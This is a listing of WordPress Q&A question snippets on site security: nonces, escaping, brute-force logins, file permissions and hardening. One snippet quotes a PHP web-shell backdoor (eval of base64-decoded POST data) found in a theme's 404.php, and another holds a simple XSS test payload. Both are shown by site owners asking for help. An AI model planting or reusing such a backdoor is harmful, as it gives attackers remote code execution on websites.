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Should I remove install.php and install-helper.php?

Is keeping wp-admin/install.php and wp-admin/install-helper.php a security leak on the newer versions of wordpress? By default file permission on those files are 644. If there is any leak, what kind ...
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Wordpress built in custom fields don't validate or sanitize? Is there a way to fix this?

I'm surprised to see that when creating post meta using the default/built in custom fields on the post editor page it allows you to enter tags like: <a>,<script>,etc. I then ...
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If I use an alternative login (e.g. CAS or other SSO) plugin, is my site protected from the recent brute force login attempts?

I've been hearing about the recent increase in brute-force WordPress login attempts due to a massive botnet attack. Everything I've read so far indicates that the attack works by just trying different ...
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Suspicious Files

Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> The second in ...
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Wordfence detects change in wp-admin/includes/upgrade.php

I moved my site from hosting provider A and domain name B to hosting provider X and domain name Y. I had Wordfence in the old site. I just installed it in the new site and ran a scan. Wordfence found ...
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Increase of failed login attempts, brute force attacks?

I Installed the plugin Simple Login Lockdown and since a couple of days ago the database is recording over 200 records by day. I think that is not possible to have my site attacked by so many IP's ...
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Changing admin user id for database

Is it correct or ok to change default admin user id from 1 to any other number as done by better-wp-security plugin for wordpress for better security? what is best way for admin security. Thanks
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Protecting against malicious code in Wordpress plugin updates

One of the most popular Wordpress plugins listed on the Wordpress plugins database got malicious code injected into it recently (April 2013): ...
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Is it safe to assume that a nonce may be validated more than once?

From what I have gathered, once a nonce is generated it is valid for reuse for the next 48 hours. Is it safe to code with this in mind? I'm writing a plugin that does a bit of toing and froing with ...
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How do I allow certain users to make a certain type of post?

Here's a brief summary of how my site is setup: I have a relatively simple Intranet site. Right now I am utilizing posts as a means to provide news to users. I am also using pages. I only want ...
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Why allow overriding crucial pluggable functions wp_verify_nonce and wp_create_nonce?

Among the functions in /wp-includes/pluggable.php are the functions wp_verify_nonce and wp_create_nonce. Both functions are very important in the protection against CSRF-attacks. However, it is easy ...
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Moving wp-config.php up 2 levels

Is it possible to change a setting so that wp-config.php could be moved up two directory levels (instead of the default 1 level)? This would allow the core WP files to be moved from public_html to a ...
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Allow Profile HTML for select users

I know there are a ton of post out there about how to allow html in profiles. Most of these warn about the security risk of doing so. My thinking is there has to be a way to only allow users to use ...
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Data Validation, dynamically generated fields (select for example)

Working to secure my plugin, I'm not sure what (if anything) to do about output such as dynamically generated select fields. For example, I have a country code select generated on the backend via PHP ...
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Is it safe use wp_editor in public contact form

I'm going to make a contact form for my site, and i want to use WYSIWYG editor (wp_editor) in my form message field. Here is my question, is that safe use wp_editor in public though disable media ...
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force login loophole

I want to restrict access to my wordpress site to allow registered users only. I have tried the following plugins: Require-login Authenticator WP-lock All of them have the same problem: After ...
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When to use esc_url, esc_html, esc_attr, and friends?

Discovered esc_url today while customizing an _s theme. I understand what the function does (sanitizes the URL inside), but what I'm unsure of is the scope of its use. It makes sense to me that if ...
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How to stop direct HTTP POST to a PHP script?

I have a form on my site, created using Contact Form 7 with Captcha. Contents of the form when POSTed are being sent to a PHP script, the "action" attribute of the form is set to ...
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Is there a secure way for the public to submit images, videos, and documents using WordPress?

I want the public to submit images, photo simulations, models, video, animation, illustrated narration, papers and other publications and multimedia. images - 30" x 42" 300 dpi . pdf format file size. ...
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Too many login attempts

Since a week or two I keep receiving the following automatic email message sent from my WordPress website, and I'd like to know if it indicates any security hole and if there's anything I can do to ...
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How brute-forcer knows that the password is cracked for target username?

There are very many brute-force attacks (mostly for 'admin' username) on WordPress sites. All these attacks are made automatically via post requests. The question 1: how brute-forcer knows that the ...
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Using esc_html with HTML purifier and CSSTidy: Overkill?

Currently my text area input (which accepts custom CSS input from a user) in the Wordpress theme options panel are sanitized by esc_html function in Wordpress ...
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Separate Out Real Users

If I look at /wp-admin/users.php I see all the users, but some have given a bogus email and never used their password. Is there some way to see who has used their password at least once? If not, ...
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Auto log in hook is requiring a page refresh

I have a simple auto log in hook that looks like the following: function auto_login() { if (!is_user_logged_in()) { //Removed some code for brevity. $user = ...
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How can I secure a WordPress blog using OpenID from a single provider?

We're about to launch an internal blog for the company I work at. Much of the blog will be available to the public, but certain posts will be for employees only. Our intranet/extranet has an OpenID ...
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Disallow file edit not preventing plugin install

I have a little demo site (admin details are listed publicly), and I've configured the wp-config.php to disallow file edits, so in theory no one can install a theme / plugin. define( ...
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Security to delete post by Admin

My code is so simple like when admin delete a post by Wordpress fucntion (PHP) and do action with jQuery <?php include('../../../../../../wp-config.php'); if(current_user_can('edit_posts')){ $id = ...
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wordfence scan warning on W3 Total Cache [closed]

I use Wordfence plugin which scans server side plugins with original plugin files to see if anything was modified by hacker/cracker. Today I got a warning and it shows these modifications on ...
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Receiving “This content cannot be displayed in a frame” error on login page

I am using a new domain for my WordPress directory in different server. When I click the meta links such "Login" or "register", I get this page: This content cannot be displayed in a frame To ...
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Default installation permissions for wp-config.php

Recently I've noticed that many of the wordpress installations we have on our servers where being attacked and ifected by this thing ...
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Wordpress Security - How to block alternative Wordpress access

I own a self-hosted Wordpress 3.5 blog. I'm working on its security and I'm trying to prevent non-writers from accessing anything admin-ish they shouldn't. Recently I tried Better Wordpress Security, ...
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Is this a WordPress security bug?

<?php if ( ! is_admin() ) return; echo 'You should not see this if you\'re not logged in!'; ?> If you put this in a mu-plugin, and go to your admin, e.g., example.com/wp-admin/ while you are ...
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From a security standpoint, should bloginfo() or get_bloginfo() be escaped?

I've been reviewing a lot of information about WP theme and plugin security and understand the concept that you should escape attributes and HTML values in themes and plugins. I've seen bloginfo() and ...
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Is this plugin safe to run?

This is an extract of code from a wordpress plugin. Is it safe to run despite the variables not being filtered? Also does the wpdb class filter to prevent any injection? list($email_id, $user_id, ...
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nginx + wordpress: Best practices for configuring it to be secure, reliable, and fast? [closed]

BACKGROUND: Running everything up on Linode. Having followed the "Getting Started," "Securing Your Server," "LEMP Server on Ubuntu 12.04," and the "Manage Web Content with WordPress" guides I was ...
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Admin can enter JavaScript - potential security risk?

WP 3.5/TwentyTwelve/Clean install. I try this when login as admin and editor. I try add reply for first post "Hello World": <script>alert('XSS')</script><script><</script> ...
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Basic password protection without using users and roles

I'm using WooCommerce, and want to be able to password protect products (or preferably whole categories if possible), but without using the Users & Roles functionality build into WP(because I need ...
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File permissions for wp-minify plugin

I am worried on installing Wp-Minify plugin. But it needs 777 permission for the cache directory located inside wp-uploads directory. Isn't it a security issue?
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security issue in wordpress?

I have installed wordpress in www.mysite.com/user and now suppose if someone is familiare with wordpress he/she can easily access my stuffs through www.mysite.com/user/members ...
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How does admin-ajax.php work?

we are having some issues with an external developer. i am not a wp person so i turn to the masses to help out. we want to limit access to the wp-admin site to internal access only (via vpn). simply ...
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Nonces can be reused multiple times? Bug / Security issue?

I've read that nonces are meant to be for one time use only, and after an ajax request, you should issue a new nonce so with the next ajax request, a new nonce would be sent to the server. However, I ...
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If a hacker changed the blog_charset to UTF-7 does that make WordPress vulnerable to further attacks?

I had a client who got hacked recently and I noticed that there were weird characters appearing on her site, like  and Æ. It turns out that the hackers changed the blog_charset to UTF-7 in the ...
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File and directory permissions

I installed latest WordPress 3.5 in my CentOS server. When I tried accessing http://example.com/wp-includes/, I received a listing of the directory: (Index of wp-includes). I added the following code ...
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Disable directory browsing of uploads folder

I'm using Wordpress as a CMS for a simple website. I want to prevent users from being able to browse the directories such as the wp-content/uploads folder or any directories of my theme. My host does ...
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Masking logout URL

The primary goal is to hide that the site is driven by wordpress. I've got the login part all locked up, but the logout URL still has those blasted wp delineators that give away it's a wordpress site. ...
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Security - Ajax and Nonce use [closed]

I'm developing a site which posts a number of ajax calls from jquery to PHP and returns data from PhP to jquery. Everything is working, but i'd to know if my approach to handling the calls is ok, in ...
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wp_insert_post disable HTML filter

I have input value "<iframe>....</iframe>" (param 'post_content'). When i execute wp_insert_post, function cut off my tag. How to disable HTML filter in wp_insert_post ?
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About WordPress site security

If I install WordPress on my server, does it mean that Akismet is installed automatically? If so - do I still need to create e-mail verification and captcha tools for improving site security (as I see ...
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using rewrites to secure login page

I'm trying to be sneaky with iis to secure a wordpress login page (not my choice to run a windows server, but that's the reality of things). It's worked so far, only the login page itself loads itself ...
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How to improve WordPress security by hiding non public facing files?

e.g. curl -I http://ma.tt/blog/wp-config.php 200 OK The wp-config.php is not public facing file, since it currently just return blank page, so why not return 404 instead. (so will not be cached by ...